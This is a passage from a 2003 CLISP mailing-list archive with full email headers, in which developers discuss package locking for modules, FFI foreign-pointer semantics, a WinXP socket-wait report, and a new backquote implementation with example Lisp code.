Mar 2003 09:03:11 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 07:05:06 2003 X-Original-Date: 14 Mar 2003 10:03:47 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E3EC@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] package-lock and module interaction, saving disk space" > * Sent on Fri, 14 Mar 2003 12:38:34 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > http://sourceforge.net/tracker/index.php?func=detail&aid=549049&group_id=1355&atid=301355 I do not consider this patch to be finished. I write there: why is the lock problem here at all?! a module _should_ live in it's own package, and all new packages are created unlocked (they _should_ be locked after the module is created, indirectly, by being pushed on *system-package-list* - I should mention this in the docs!). SO: what is that package we are unlocking?! Another issue is the automatic package creation. I don't like it either (what if you misspell the package name? you will get an extra package, which you will notice until much later, and some weird errors that will take forever to debug). You said: I consider this issue still open, but low-priority. > CLISP's "new" package locking behaviour leads to an annoying CLISP does not lock new packages. > What I want is a mechanism to simply add new functions via modules, as > I did from 1995 on, and documented in my article. what article? > Package-locking breaks this (except for stuff added to the free USER > package) for the packages SYS and EXT, which I typically used. you should not use SYS & EXT. You should use JCH-EXT and do (without-package-lock ("EXT") (use-package '("JCH-EXT") "EXT") (re-export "JCH-EXT" "EXT")) > The UNIX shell link-kit script may look easy to use. It's certainly > powerful. But it's not what I call simple. Especially it's against my > goal of saving disk space and keeping a single memory image for all > possible module configurations, just switching lisp.exe if needed, an > advice I've also given in my article. This does not look like a good idea. Memory images are under 2MB - cheap these days. > (load "clisp:modules/regexp/regexp") > -> loading regexp.fas > which then provides the functionality, and full package, as needed. so why can't you do that now? > So what's missing now in CLISP? > 1. In my eyes, the ability for the C code to create a package as > needed for the module's functions. The full package definition and > exports will be provided later by a Lisp/fas file - if ever loaded. pushSTACK(my_name); funcall(L(make_package),1); > 2. a home for modules such small that they don't need an own > package. I used SYS or EXT so far, which package-lock breaks. No user code is allowed to touch anything in *SYSTEM-PACKAGE-LIST*. If you are sure you know what you are doing, you may use WITHOUT-PACKAGE-LOCK in LISP and mark_pack_unlocked()/mark_pack_locked() in C. Making it hard to modify packages in *SYSTEM-PACKAGE-LIST* is __INTENDED__. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If a train station is a place where a train stops, what's a workstation? From sds@gnu.org Fri Mar 14 07:23:16 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tr1g-0005uf-00 for ; Fri, 14 Mar 2003 07:23:16 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030314152309.ZPWO6910.out005.verizon.net@loiso.podval.org>; Fri, 14 Mar 2003 09:23:09 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2EFNiTx009718; Fri, 14 Mar 2003 10:23:45 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2EFNiKr009714; Fri, 14 Mar 2003 10:23:44 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finalizati on References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E44C@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E44C@G8PQD.blf01.telekom.de> Message-ID: Lines: 112 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Fri, 14 Mar 2003 09:23:08 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 07:24:03 2003 X-Original-Date: 14 Mar 2003 10:23:44 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E44C@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] on FFI:mark-invalid-foreign, malloc() and finalizati on" > * Sent on Fri, 14 Mar 2003 13:52:52 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > >> [87]> (equalp * **) > >> NIL ;yet they print the same! > >this would not be hard to fix. > >would you like me to? > No, until there's a concept of what shall be done. The two objects are different in terms of EQUALP: > # > # I don't understand the need for FOREIGN-ADDRESS to begin with. Why isn't FOREIGN-POINTER enough? > So far, my opinion is that the current printed representation of > # is just fine (suited to most user > needs), and the user need not be bothered with additional level of > detail. Well, I would suggest printing: # + 123> and equality: EQUAL: + FOREIGN-POINTERs are EQUAL when their fp_pointer's are = + FOREIGN-ADDRESSes are EQUAL when their fa_base are EQUAL and fa_offset's are = EQUALP: + additionally, FOREIGN-ADDRESSes are EQUALP when their Faddress_value's are = > 3. All of (:return-type C-POINTER), U-F-A etc. return a > FOREIGN-ADDRESS object which all share what I call the "FFI session > pointer" - O(fp_zero). That's why this one shall not be invalidated. why??? why do they return # + #x00CC1920> and not # + 0> to keep them bound to a session? but # can be bound to a session as well! or maybe you want to be able to invalidate them all in one stroke? > My dynload patch creates FOREIGN-FUNCTION objects embedding the > FOREIGN-POINTER to the library. That's how, by invoking > MARK-INVALID-FOREIGN on the library base pointer obejct, all > associated functions and variables become invalid as well. aha! > My concept for SET-FOREIGN-BASE was to permit modification of this > association between a FOREIGN-ADDRESS/VARIABLE/FUNCTION and the > associated FOREIGN-POINTER. Then FINALIZE and/or MARK-INVALID-FOREIGN > become useful with arbitrary f-v/f-a objects. so you want a setfable accessor FOREIGN-POINTER, right? That's easy, > Function: FOREIGN-BASE == FOREIGN-POINTER, but I prefer the "base" > idea. Occam's razor - do not multiply entities (here, symbols). > Function: (SET-FOREIGN-BASE foreign-entity another) (you'll suggest > (SETF FOREIGN-BASE), I know :) of course! - this is CL, not scheme! > another may also be :NEW, or :SESSION, not just a foreign-entity, > which is IMHO not compatible with the SETF idea. Returns the modified > entity. Maybe name it update-foreign-base? (defun (setf foreign-pointer) (new) (f-ent) (if (eq f-ent :session) (let ((fp (allocate-fpointer))) O(fp_zero) = fp; TheFpointer(fp)->fp_pointer = new; return fp;) TheFpointer(foreign_pointer(f-ent))->fp_pointer = new)) > Another reason for the SET-FOREIGN-BASE name instead of (SETF > FOREIGN-POINTER) is that it's not only the pointer that's changed. The > offset of the FOREIGN-ADDRESS object is modified suitably to preserve > the FOREIGN-ADDRESS-UNSIGNED value. That might not be possible. fa_offset is a uintP. Suppose you have fa = # + 1> what should (setf (foreign-pointer fa) 3) do? fa = # + -2> ?!! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Whom computers would destroy, they must first drive mad. From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 14 08:22:22 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18trwp-0006Vh-00 for ; Fri, 14 Mar 2003 08:22:20 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 14 Mar 2003 17:22:11 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Mar 2003 17:22:11 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4CD@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finali zati on MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 08:23:08 2003 X-Original-Date: Fri, 14 Mar 2003 17:22:05 +0100 Sam Steingold suggested: >> another may also be :NEW, or :SESSION, not just a foreign-entity, >> which is IMHO not compatible with the SETF idea. Returns the modified >> entity. Maybe name it update-foreign-base? >(defun (setf foreign-pointer) (new) (f-ent) [...] > return fp;) > TheFpointer(foreign_pointer(f-ent))->fp_pointer = new)) I thought setf must always return the "new" argument. I'll have to check CLHS. O(fp_zero) is not to be modified by set-foreign-base. >(setf (foreign-pointer fa) 3) That's not allowed. The idea is to share foreign-bases/pointers to achieve dependency tracking. An integer is not acceptable. It must be a foreign-entity, because that holds a foreign-POINTER object. So set-foreign-base is first a dependency tracking mechanism than a mean to set a pointer to a given address. It can accessorily be used to produce a pointer to a given address: (set-foreign-base (unsigned-foreign-address N) :new) :new yields an object pointing to the address, with 0 offset, a property that shall be documented. Then you can restore the previous base into this object: (set-foreign-base *[previous result] another-foreign) -> a pointer to address N, with base another old foreign's base. I find this set-foreign-base composes very well. Regards, Jorg Hohle. From sds@gnu.org Fri Mar 14 08:44:09 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tsHw-0003qg-00 for ; Fri, 14 Mar 2003 08:44:09 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out003.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030314164402.DRM3697.out003.verizon.net@loiso.podval.org>; Fri, 14 Mar 2003 10:44:02 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2EGibTx009900; Fri, 14 Mar 2003 11:44:37 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2EGibl3009896; Fri, 14 Mar 2003 11:44:37 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finali zati on References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4CD@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4CD@G8PQD.blf01.telekom.de> Message-ID: Lines: 49 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [151.203.48.207] at Fri, 14 Mar 2003 10:44:02 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 08:45:03 2003 X-Original-Date: 14 Mar 2003 11:44:37 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4CD@G8PQD.blf01.telekom.de> > * On the subject of "AW: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finali zati on" > * Sent on Fri, 14 Mar 2003 17:22:05 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold suggested: > >> another may also be :NEW, or :SESSION, not just a foreign-entity, > >> which is IMHO not compatible with the SETF idea. Returns the modified > >> entity. Maybe name it update-foreign-base? > > >(defun (setf foreign-pointer) (new) (f-ent) > [...] > > return fp;) > > TheFpointer(foreign_pointer(f-ent))->fp_pointer = new)) > I thought setf must always return the "new" argument. I'll have to check CLHS. sure. > O(fp_zero) is not to be modified by set-foreign-base. why? I thought you wanted that! Isn't it possible that you would want to invalidate all current foreign entities referring to O(fp_zero) and to start anew with a fresh O(fp_zero)? > >(setf (foreign-pointer fa) 3) > That's not allowed. doesn't matter. what if the new foreign-pointer has an address numerically larger that the foreign-pointer+offset of this foreign entity? keeping the address fixed would require using a negative offset. > It can accessorily be used to produce a pointer to a given address: > (set-foreign-base (unsigned-foreign-address N) :new) > :new yields an object pointing to the address, with 0 offset, a > property that shall be documented. > > Then you can restore the previous base into this object: > (set-foreign-base *[previous result] another-foreign) > -> a pointer to address N, with base another old foreign's base. I see. so (setf (foreign-pointer f-ent) :new) just means "uncouple this foreign entity from its foreign-pointer group". -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Any connection between your reality and mine is purely coincidental. From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 14 08:57:38 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tsUy-0001lb-00 for ; Fri, 14 Mar 2003 08:57:36 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 14 Mar 2003 17:57:28 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Mar 2003 17:57:28 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4D8@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finali zat i on MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 08:58:14 2003 X-Original-Date: Fri, 14 Mar 2003 17:57:27 +0100 Sam wrote: >> O(fp_zero) is not to be modified by set-foreign-base. >why? I thought you wanted that! >Isn't it possible that you would want to invalidate all current foreign >entities referring to O(fp_zero) and to start anew with a >fresh O(fp_zero)? Not any I can think of right now. O(fp_Zero) is a global. It denotes the current session. If it dies, CLISP's FFI is dead. It doesn't make sense to recreate O(fp_zero) except at session start because the programmer has little means to control when and where it's used by the system. So my clean model is: o There's O(fp_zero), somewhat the default. o There's maybe some ancestor of it, found in the image file. o There's new ones from known places, which are: DEEP-MALLOC, SIMPLE-CALLOC, FOREIGN-LIBRARY and SET-FOREIGN-BASE. o and possibly other invalidated foreign-pointers. >keeping the address fixed would require using a negative offset. That's no problem at all. the Amiga's shared library functions are all at negative offsets w.r.t. the library base. That has been used since 1995. I believe C++ vtables share this property. I believe it could apply to COM methods as well. That' despite the fact that for whatever reason I cannot remember, IIRC, a uint is the offset in the C struct definition, not an sint. >I see. so (setf (foreign-pointer f-ent) :new) just means >"uncouple this >foreign entity from its foreign-pointer group". "by creating a new one with its own VALIDP bit, and which can then be coupled with FINALIZE." Regards, Jorg Hohle. From sds@gnu.org Fri Mar 14 09:29:16 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tszc-0005VV-00 for ; Fri, 14 Mar 2003 09:29:16 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop016.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030314172909.YYHK8278.pop016.verizon.net@loiso.podval.org>; Fri, 14 Mar 2003 11:29:09 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2EHTjTx009997; Fri, 14 Mar 2003 12:29:45 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2EHTjPC009993; Fri, 14 Mar 2003 12:29:45 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finali zat i on References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4D8@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4D8@G8PQD.blf01.telekom.de> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.48.207] at Fri, 14 Mar 2003 11:29:09 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 09:30:11 2003 X-Original-Date: 14 Mar 2003 12:29:45 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4D8@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] on FFI:mark-invalid-foreign, malloc() and finali zat i on" > * Sent on Fri, 14 Mar 2003 17:57:27 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam wrote: > >keeping the address fixed would require using a negative offset. > That's no problem at all. the Amiga's shared library functions are all > at negative offsets w.r.t. the library base. That has been used since > 1995. I believe C++ vtables share this property. I believe it could > apply to COM methods as well. OK, I will make the offset signed. > That' despite the fact that for whatever reason I cannot remember, > IIRC, a uint is the offset in the C struct definition, not an sint. this would have to be changed. > >I see. so (setf (foreign-pointer f-ent) :new) just means > >"uncouple this > >foreign entity from its foreign-pointer group". if f-ent is a FOREIGN-POINTER, tis would have to signal an error. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux UNIX is as friendly to you as you are to it. Windows is hostile no matter what. From ampy@inbox.ru Fri Mar 14 19:03:13 2003 Received: from mx2.mail.ru ([194.67.57.12]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18u1x1-0008JF-00 for ; Fri, 14 Mar 2003 19:03:11 -0800 Received: from [212.16.216.108] (port=1042 helo=ppp108-AS-2.vtc.ru) by mx2.mail.ru with esmtp id 18u1wy-000Lfz-00; Sat, 15 Mar 2003 06:03:09 +0300 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1731550789.20030315085525@inbox.ru> To: clisp-list@lists.sourceforge.net CC: Jamison Masse Subject: Re[2]: [clisp-list] socket-wait problem on WinXP In-reply-To: <877504721.20030312203403@ich.dvo.ru> References: <877504721.20030312203403@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 19:04:02 2003 X-Original-Date: Sat, 15 Mar 2003 08:55:25 +1000 I don't see my messages appearing in mailing list so resending this one. Sorry if there are duplicates. >> The attached code is a test case intended to isolate this problem I have >> been having with connecting multiple clients to a server. I want to >> occasionally poll the socket to see if there are any clients waiting for a >> connection. Under linux this code loops until a connection is made by a >> client, as expected, but under WinXP the loop never terminates, the client >> connects and is holding a connection to the server but the server code >> doesn't acknowledge the connection. Is this a bug? >> The WinXP machine is running Clisp 2.30 and WinXP SP-1 > I have no problem with this code on NT4.0 (clisp 2.30, 2.27, CVS) and > on XP (2.27, CVS). I'll check ver. 2.30 on XP, but I don't expect it > will fail. > Could you try different telnets, different addresses (localhost, > 127.0.0.1, your IP, your machine name) ? I've checked clisp 2.30 with win XP - no problem. -- Best regards, Arseny From kaz@footprints.net Sat Mar 15 01:46:27 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18u8Ef-0004Sm-00 for ; Sat, 15 Mar 2003 01:45:49 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18u8EA-0005Tj-00 for clisp-list@lists.sourceforge.net; Sat, 15 Mar 2003 01:45:18 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 15 01:47:04 2003 X-Original-Date: Sat, 15 Mar 2003 01:45:18 -0800 (PST) I have reimplemented backquotes in CLISP from scratch; the work is advanced far enough that I can rebuild the patched CLISP and pass ``make test''. The aim is to produce a smaller, simpler, more elegant implementation that has zero defects. A few visible differences are introduced. Firstly, the reader macros no longer perform expansion. Consequently, the SYSTEM::BACKQUOTE macro does not have a second argument that specifies the expanded form. The job of expansion, rather, is moved into the macro itself. So we now have a thick macro, but a thin reader macro rather than the other way around. The structure of the SYSTEM::BACKQUOTE forms has changed in another way. The ,@FORM syntax corresponds to (SPLICE FORM) rather than (SPLICE (UNQUOTE FORM)). The special case (SPLICE FORM) to represent ,@'FORM is gone, this is just (SPLICE (QUOTE FORM)). In other words, this is more like the Scheme scheme. Of course, I adjusted the pretty printer accordingly by removing code that parses the two cases of the SPLICE argument. Any code that depends on CLISP's representation of ,@ will break. The SYSTEM::ADD-BACKQUOTE and SYSTEM::ADD-UNQUOTE interfaces continue to work. CLISP uses these internally, for instance in DEFSTRUCT, to generate backquotes. I removed the dependency from the array and struct readers on the SYSTEM::*BACKQUOTE-LEVEL* variable. A different trick is used to detect that an unquote has occured while reading a form other than a simple vector or list. This trick is not as perfect, in the sense that there are more opportunities for the sub-reader to become confused by the embedded UNQUOTE or SPLICE form, but but on the other hand, in other cases we can produce a more accurate error message than that a comma has occured outside of a backquote. I still have a few items to do: - the ,. destructive splicing syntax is not implemented as destructive syntax; it's semantically equivalent to ,@ right now. - the code generated by the backquote is not optimized; it does lots of atrocious consing like (append (list '1) (list '2)). - I have to conform the error messages to the internalization system in CLISP. Probably I will just reuse the existing ones, for the most part. - write some automated tests that exercise complex backquotes, like the ones that bugged out on me. If anyone is interested, I can provide a clean patch against the 2.30 release. By the way. Let's try something: ;;; expected result: (FOO `(BAR (BAZ 'A A) (BAZ 'B B) ...)) ;;; CLISP result: (FOO `(BAR NIL NIL NIL NIL)) (defun breaks-on-clisp () (let ((list '(a b c d))) `(foo `(bar ,@',(mapcar #'(lambda (sym) `(baz ',sym ,sym)) list))))) [1]> (breaks-on-clisp) (FOO (APPEND (LIST 'BAR) '((BAZ 'A A) (BAZ 'B B) (BAZ 'C C) (BAZ 'D D)))) Woo hoo! Not bad for two evenings of hacking. ;) How about the pretty printer breakage, whereby the backquote is printed wrongly, but still evals right? ``,,`,3 ==> `,NIL (stock CLISP) ``,,`,3 ==> 3 (hacked CLISP) Score again! In fact, under the new hack, the ``,,`,FOO is completely reduced to FOO, watch this; (macroexpand '``,,`,FOO) ==> FOO ; T Ha! From kaz@footprints.net Sat Mar 15 02:25:49 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18u8qt-00007u-00 for ; Sat, 15 Mar 2003 02:25:19 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18u8qO-0005dg-00 for clisp-list@lists.sourceforge.net; Sat, 15 Mar 2003 02:24:48 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 15 02:26:10 2003 X-Original-Date: Sat, 15 Mar 2003 02:24:48 -0800 (PST) On Sat, 15 Mar 2003, Kaz Kylheku wrote: > If anyone is interested, I can provide a clean patch against the 2.30 > release. http://users.footprints.net/~kaz/clisp-2-30-backquote-2003-04-15.diff From sds@gnu.org Sat Mar 15 07:29:40 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uDbP-0001XS-00 for ; Sat, 15 Mar 2003 07:29:39 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030315152932.KESJ6546.out002.verizon.net@loiso.podval.org>; Sat, 15 Mar 2003 09:29:32 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2FFUBTx018523; Sat, 15 Mar 2003 10:30:11 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2FFU3t6018519; Sat, 15 Mar 2003 10:30:03 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: New, from-scratch implementation of backquote. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 117 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.48.207] at Sat, 15 Mar 2003 09:29:32 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 15 07:30:19 2003 X-Original-Date: 15 Mar 2003 10:30:03 -0500 > * In message > * On the subject of "[clisp-list] Re: New, from-scratch implementation of backquote." > * Sent on Sat, 15 Mar 2003 01:45:18 -0800 (PST) > * Honorable Kaz Kylheku writes: > > I have reimplemented backquotes in CLISP from scratch; the work is > advanced far enough that I can rebuild the patched CLISP and pass > ``make test''. Great! Congratulations! > The aim is to produce a smaller, simpler, more elegant implementation > that has zero defects. Did you check that the two defects are gone: 1. in backquote.lisp; ;; Bug: With nested backquotes some partial forms are evaluated several ;; times (e.g. in the primary evaluation: forms, which are needed for ;; the interpretation of secondary evaluation forms) and should ;; therefore be free from side-effects. 2. : Multiple backquote combinations like ,,@ or ,@,@ are not implemented. Their use would be confusing anyway. > A few visible differences are introduced. > > Firstly, the reader macros no longer perform expansion. Consequently, > the SYSTEM::BACKQUOTE macro does not have a second argument that > specifies the expanded form. The job of expansion, rather, is moved > into the macro itself. So we now have a thick macro, but a thin reader > macro rather than the other way around. this appears to be the more standard approach. > The structure of the SYSTEM::BACKQUOTE forms has changed in another > way. The ,@FORM syntax corresponds to (SPLICE FORM) rather than (SPLICE > (UNQUOTE FORM)). The special case (SPLICE FORM) to represent ,@'FORM is > gone, this is just (SPLICE (QUOTE FORM)). In other words, this is more > like the Scheme scheme. Of course, I adjusted the pretty printer > accordingly by removing code that parses the two cases of the SPLICE > argument. > > Any code that depends on CLISP's representation of ,@ will break. > > The SYSTEM::ADD-BACKQUOTE and SYSTEM::ADD-UNQUOTE interfaces continue > to work. CLISP uses these internally, for instance in DEFSTRUCT, > to generate backquotes. > > I removed the dependency from the array and struct readers on the > SYSTEM::*BACKQUOTE-LEVEL* variable. A different trick is used to > detect that an unquote has occured while reading a form other than a > simple vector or list. This trick is not as perfect, in the > sense that there are more opportunities for the sub-reader to become > confused by the embedded UNQUOTE or SPLICE form, but but on the other > 